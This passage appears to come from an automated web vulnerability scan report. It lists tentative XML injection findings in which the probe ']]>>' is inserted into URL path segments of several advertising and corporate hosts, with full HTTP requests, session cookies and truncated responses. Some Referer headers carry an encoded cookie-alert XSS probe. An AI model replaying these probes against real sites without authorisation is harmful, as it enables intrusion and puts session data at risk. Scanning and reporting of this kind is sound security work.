Content-Length: 1065

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

8.4. http://amch.questionmarket.com/kcontent/478/ktag.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://amch.questionmarket.com
Path:	/kcontent/478/ktag.js

Issue detail

Request

GET /kcontent]]>>/478/ktag.js HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6; ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:44:42 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Content-Type: text/html
Content-Language: en
Content-Length: 1478

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

8.5. http://amch.questionmarket.com/kcontent/478/ktag.js [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://amch.questionmarket.com
Path:	/kcontent/478/ktag.js

Issue detail

Request

GET /kcontent/478]]>>/ktag.js HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6; ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:44:45 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Content-Type: text/html
Content-Language: en
Content-Length: 1478

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

8.6. http://amch.questionmarket.com/kcontent/478/ktag.js [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://amch.questionmarket.com
Path:	/kcontent/478/ktag.js

Issue detail

The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /kcontent/478/ktag.js]]>> HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6; ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:44:47 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Content-Type: text/html
Content-Language: en
Content-Length: 1478

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

8.7. http://api.tweetmeme.com/button.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://api.tweetmeme.com
Path:	/button.js

Issue detail

Request

GET /button.js]]>> HTTP/1.1
Host: api.tweetmeme.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: user_unique_ident=4d4300485cccb8.88856407-57c11f7a933564d3f62b1bb71b01e19d; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __qca=P0-724637325-1295907700201; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 06 Feb 2011 17:18:44 GMT
Content-Type: text/xml; charset='utf-8'
Connection: close
P3P: CP="CAO PSA"
X-Served-By: h04
Content-Length: 117

<?xml version="1.0" encoding="UTF-8"?>
<result><status>failure</status><reason>missing param 'url'</reason></result>

8.8. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/assets/300x250.swf [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/assets/300x250.swf

Issue detail

Request

GET /officedepot]]>>/r2/v4b/assets/300x250.swf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: D234D51148357D28
x-amz-id-2: Zds+GcEQI8qdHgrPZZnBxq8v0aufYjF5xSL+AjM67SYFJxLUCaC4DtJnbXdil6Zy
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:46:59 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>D234D51148357D28</RequestId><HostId>Zds+GcEQI8qdHgrPZZnBxq8v0aufYjF5xSL+AjM67SYFJxLUCa
...[SNIP]...

8.9. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/assets/300x250.swf [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/assets/300x250.swf

Issue detail

Request

GET /officedepot/r2]]>>/v4b/assets/300x250.swf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 280A7AB5EA5C302C
x-amz-id-2: IOhRAAx/tsr5ypSytLaGewvhuMO8D4WhbY+uDEm11hokkmCuuEHtYRw2DW16V+cb
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:47:06 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>280A7AB5EA5C302C</RequestId><HostId>IOhRAAx/tsr5ypSytLaGewvhuMO8D4WhbY+uDEm11hokkmCuuE
...[SNIP]...

8.10. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/assets/300x250.swf [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/assets/300x250.swf

Issue detail

Request

GET /officedepot/r2/v4b]]>>/assets/300x250.swf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 06E051E8A7F779FE
x-amz-id-2: RR81aybRkCfOF2vURFbUFPDaO9cbV0KDMeZvfqRbkZM1yFywrWhDScGd2t5dAacb
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:47:14 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>06E051E8A7F779FE</RequestId><HostId>RR81aybRkCfOF2vURFbUFPDaO9cbV0KDMeZvfqRbkZM1yFywrW
...[SNIP]...

8.11. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/assets/300x250.swf [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/assets/300x250.swf

Issue detail

The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /officedepot/r2/v4b/assets]]>>/300x250.swf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 17BFC9E38192426D
x-amz-id-2: 9oW+dOGkuk2Ek9rcTO0dTwED+593S/pyDouRVgHzj8r81PgBxBFWYvaY0Mf2FEV1
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:47:17 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>17BFC9E38192426D</RequestId><HostId>9oW+dOGkuk2Ek9rcTO0dTwED+593S/pyDouRVgHzj8r81PgBxB
...[SNIP]...

8.12. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/assets/300x250.swf [REST URL parameter 5] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/assets/300x250.swf

Issue detail

The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /officedepot/r2/v4b/assets/300x250.swf]]>> HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: F09EC1139B9C2F8B
x-amz-id-2: xfHNf0fMa5b8G4hNc17mXDVVxML9J5HjCnJ0PkIgZcsO0NSP3xjbAwe6J8pKN9PA
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:47:19 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>F09EC1139B9C2F8B</RequestId><HostId>xfHNf0fMa5b8G4hNc17mXDVVxML9J5HjCnJ0PkIgZcsO0NSP3x
...[SNIP]...

8.13. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/bin/RectangleGrid.swf

Issue detail

Request

GET /officedepot]]>>/r2/v4b/bin/RectangleGrid.swf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 5A551C3AC0323669
x-amz-id-2: h3CjuEjm20aeIMh3mvax5apCyZrkT12z+mrD2c8UQV86ZOkHJJPgQp0PMgcAnCOH
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:46:56 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>5A551C3AC0323669</RequestId><HostId>h3CjuEjm20aeIMh3mvax5apCyZrkT12z+mrD2c8UQV86ZOkHJJ
...[SNIP]...

8.14. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/bin/RectangleGrid.swf

Issue detail

Request

GET /officedepot/r2]]>>/v4b/bin/RectangleGrid.swf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: AFE38DC9E9E3200B
x-amz-id-2: 9UXiPFpXY9upXw4IO/quC3Dv52SVZLjCZRkAYl1xmDY8vdvKnyXo9/vkhZhbJ7jb
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:47:04 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>AFE38DC9E9E3200B</RequestId><HostId>9UXiPFpXY9upXw4IO/quC3Dv52SVZLjCZRkAYl1xmDY8vdvKny
...[SNIP]...

8.15. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/bin/RectangleGrid.swf

Issue detail

Request

GET /officedepot/r2/v4b]]>>/bin/RectangleGrid.swf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 8E0202B5D6BD0602
x-amz-id-2: ZzVkv84cOplsVqChPOf5Bpob/NAms4s7SZRGQ3v5yZlWCZBfCSheXfI3jziV2uzX
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:47:09 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>8E0202B5D6BD0602</RequestId><HostId>ZzVkv84cOplsVqChPOf5Bpob/NAms4s7SZRGQ3v5yZlWCZBfCS
...[SNIP]...

8.16. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/bin/RectangleGrid.swf

Issue detail

Request

GET /officedepot/r2/v4b/bin]]>>/RectangleGrid.swf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 2BAAB635216ECD8F
x-amz-id-2: EYEQ5vpEeZAdFuFfpEj050sFcsj3TKP/HHDxp+kpRfS9BmLmOaGglz7zMyts8tmt
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:47:16 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>2BAAB635216ECD8F</RequestId><HostId>EYEQ5vpEeZAdFuFfpEj050sFcsj3TKP/HHDxp+kpRfS9BmLmOa
...[SNIP]...

8.17. http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf [REST URL parameter 5] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/r2/v4b/bin/RectangleGrid.swf

Issue detail

Request

GET /officedepot/r2/v4b/bin/RectangleGrid.swf]]>> HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 061A64CC2842ECD0
x-amz-id-2: qtmcWuzp7SVdTikwXUXZ3C2d/tq9l2sP4R/qrqhjMMriiMZnvlFYvU2g2GC1QGAO
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:47:18 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>061A64CC2842ECD0</RequestId><HostId>qtmcWuzp7SVdTikwXUXZ3C2d/tq9l2sP4R/qrqhjMMriiMZnvl
...[SNIP]...

8.18. http://cdn.statics.live.spongecell.com/officedepot/v4b/assets/Coupons1.pdf [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/v4b/assets/Coupons1.pdf

Issue detail

Request

GET /officedepot]]>>/v4b/assets/Coupons1.pdf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: AD51746F9153E66B
x-amz-id-2: JoWHMvZ2ww4LV2KZUc9pd7TE3UsP0u7ipmPhDb7HG9I6j+Msir4tb8DTCakFjBwk
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:46:55 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>AD51746F9153E66B</RequestId><HostId>JoWHMvZ2ww4LV2KZUc9pd7TE3UsP0u7ipmPhDb7HG9I6j+Msir
...[SNIP]...

8.19. http://cdn.statics.live.spongecell.com/officedepot/v4b/assets/Coupons1.pdf [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/v4b/assets/Coupons1.pdf

Issue detail

Request

GET /officedepot/v4b]]>>/assets/Coupons1.pdf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 19402391640B4383
x-amz-id-2: 2eiQyaS2QvfsdNDHvrpTyElwpb/b3dQH02lM7UlyV0xijlZRlAO0sN82WQ96O6nW
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:46:55 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>19402391640B4383</RequestId><HostId>2eiQyaS2QvfsdNDHvrpTyElwpb/b3dQH02lM7UlyV0xijlZRlA
...[SNIP]...

8.20. http://cdn.statics.live.spongecell.com/officedepot/v4b/assets/Coupons1.pdf [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/v4b/assets/Coupons1.pdf

Issue detail

Request

GET /officedepot/v4b/assets]]>>/Coupons1.pdf HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: D4D42DEE76A3B5D1
x-amz-id-2: 2u0eiQPOg3JyXit2U31Wp8OyuyAgBDwnn0iXpD6oHtuoC1jdXxXgQkEIotcEQZG6
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:46:57 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>D4D42DEE76A3B5D1</RequestId><HostId>2u0eiQPOg3JyXit2U31Wp8OyuyAgBDwnn0iXpD6oHtuoC1jdXx
...[SNIP]...

8.21. http://cdn.statics.live.spongecell.com/officedepot/v4b/assets/Coupons1.pdf [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://cdn.statics.live.spongecell.com
Path:	/officedepot/v4b/assets/Coupons1.pdf

Issue detail

Request

GET /officedepot/v4b/assets/Coupons1.pdf]]>> HTTP/1.1
Host: cdn.statics.live.spongecell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 403 Forbidden
x-amz-request-id: 9BD2EBDFA1E7ABBA
x-amz-id-2: hAKFGPEFmhv1dvMeAQzPrkltLlrXxJIuLEFu/0BQktNZNE16q51j5TStD1UnIwCh
Content-Type: application/xml
Date: Sat, 05 Feb 2011 22:46:57 GMT
Server: AmazonS3
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>9BD2EBDFA1E7ABBA</RequestId><HostId>hAKFGPEFmhv1dvMeAQzPrkltLlrXxJIuLEFu/0BQktNZNE16q5
...[SNIP]...

8.22. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js

Issue detail

Request

GET /themes]]>>/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:28 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.23. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js

Issue detail

Request

GET /themes/splunk_com]]>>/scripts/js/contrib/Myriad_Pro_Regular_400.font.js HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:29 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.24. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js

Issue detail

Request

GET /themes/splunk_com/scripts]]>>/js/contrib/Myriad_Pro_Regular_400.font.js HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:32 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.25. http://coverall.splunk.com/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/themes/splunk_com/scripts/js/contrib/Myriad_Pro_Regular_400.font.js

Issue detail

Request

GET /themes/splunk_com/scripts/js]]>>/contrib/Myriad_Pro_Regular_400.font.js HTTP/1.1
